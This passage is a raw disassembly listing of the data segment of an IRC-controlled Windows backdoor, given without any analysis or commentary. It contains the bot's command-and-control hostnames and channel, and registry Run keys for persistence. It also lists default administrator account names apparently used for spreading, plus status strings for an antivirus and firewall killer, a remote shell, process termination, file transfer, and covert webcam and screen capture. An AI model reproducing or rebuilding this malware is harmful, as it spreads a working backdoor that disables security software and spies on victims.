aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D0B4o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D0B4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D0CC	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D0CC
		dd offset dword_427E18+4
off_427E40	dd offset off_43D0EC	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D0EC
		dd offset unk_427E68
off_427E8C	dd offset off_43D10C	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D10C
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D130	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D130
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D0B4
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D0B4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D0CC
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D0EC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D10C
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
		dd 5 dup(77699AB2h), 5 dup(32A53F30h), 5 dup(7E483FF6h)
		dd 7Ah dup(0)
		dd 7E483FF6h, 0
		dd 77699AB2h, 15h dup(0)
		dd 32A53F30h, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 6Dh			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 73h,	6Eh, 6Dh
		dd 7261676Eh, 6578652Eh, 0
dword_429118	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServceA	db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd offset aDb2		; "db2"
		align 8
		dd offset dword_43D158
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd 0
dword_42923C	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:00429234o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: ___:00429230o
		align 10h
aDb2		db 'db2',0              ; DATA XREF: ___:00429220o
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
					; ___:0042922Co
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_429300	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429334	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429360	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_4293A0	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_4293C4	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_4293E0	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293EC	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_4293F4	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_4293FC	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429464	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429484	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_4294A4	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_4294F8	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429578:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42957C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_4295A0	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_4295C8	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_4295EC	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_429610	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429634	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429658	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429674	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_4296A0	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_4296C4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4296EC	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_429718	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429740	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429764	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429784	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_4297AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4297D4	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4297F4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429824	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429844	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429874	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429898	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_4298B4	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_4298D8	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_4298F0	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429930	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429948	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_429964	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_429984	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42999C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_4299C8:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_4299CC	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_4299F0	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_429A14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_429A54	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_429A94	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_429AC8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_429B00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_429B34	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_429B68	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_429B90	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_429BC0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_429BFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_429C2C	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_429C60	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_429C7C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_429CAC	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_429CD4	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_429CF4	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_429D14	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_429D30	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_429D44	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_429D50	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
